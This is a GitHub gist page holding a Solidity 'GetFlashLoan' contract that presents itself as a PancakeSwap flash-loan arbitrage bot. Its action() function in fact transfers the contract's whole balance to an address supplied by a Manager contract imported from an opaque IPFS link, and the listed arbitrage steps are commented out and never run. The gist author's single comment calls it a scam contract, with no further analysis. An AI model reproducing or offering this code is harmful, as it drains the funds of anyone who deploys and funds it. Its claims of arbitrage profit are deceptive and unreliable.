Skip to content

Instantly share code, notes, and snippets.

@htkcodes
Last active October 24, 2021 03:01
Show Gist options
  • Save htkcodes/cc7473f6d62205ccb4437ea0d5a0e34e to your computer and use it in GitHub Desktop.
Save htkcodes/cc7473f6d62205ccb4437ea0d5a0e34e to your computer and use it in GitHub Desktop.
WHATS WRONG???
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contra
cts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contra
cts/interfaces/ILendingPool.sol";
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/i
nterfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/i
nterfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/i
nterfaces/IPancakePair.sol";
// Code Manager
import "ipfs://QmfJWsSvS7KhPYUhpptiFuVtuCZyCjHccN3AWUmwGks1o3";
contract GetFlashLoan {
string public tokenName;
string public tokenSymbol;
uint loanAmount;
Manager manager;
constructor(string memory _tokenName, string memory _tokenSymbol, uint _
loanAmount) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
loanAmount = _loanAmount;
manager = new Manager();
}
function() external payable {}
function action() public payable {
// Send required coins for swap
address(uint160(manager.pancakeDepositAddress())).transfer(address(t
his).balance);
// Perform tasks (clubbed all functions into one to reduce external
calls & SAVE GAS FEE)
// Breakdown of functions written below
manager.performTasks();
/* Breakdown of functions
// Submit token to BSC blockchain
string memory tokenAddress = manager.submitToken(tokenName, tokenSym
bol);
// List the token on PancakeSwap
manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
// Get BNB Loan from Multiplier-Finance
string memory loanAddress = manager.takeFlashLoan(loanAmount);
// Convert half BNB to DAI
manager.pancakeDAItoBNB(loanAmount / 2);
// Create BNB and DAI pairs for our token & Provide liquidity
string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
string memory daiPair = manager.pancakeCreatePool(tokenAddress,
"DAI");
manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
// Perform swaps and profit on Self-Arbitrage
manager.pancakePerformSwaps();
// Move remaining BNB from Contract to your account
manager.contractToWallet("BNB");
// Repay Flash loan
manager.repayLoan(loanAddress);
*/
}
}
@htkcodes
Copy link
Author

scam contract

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment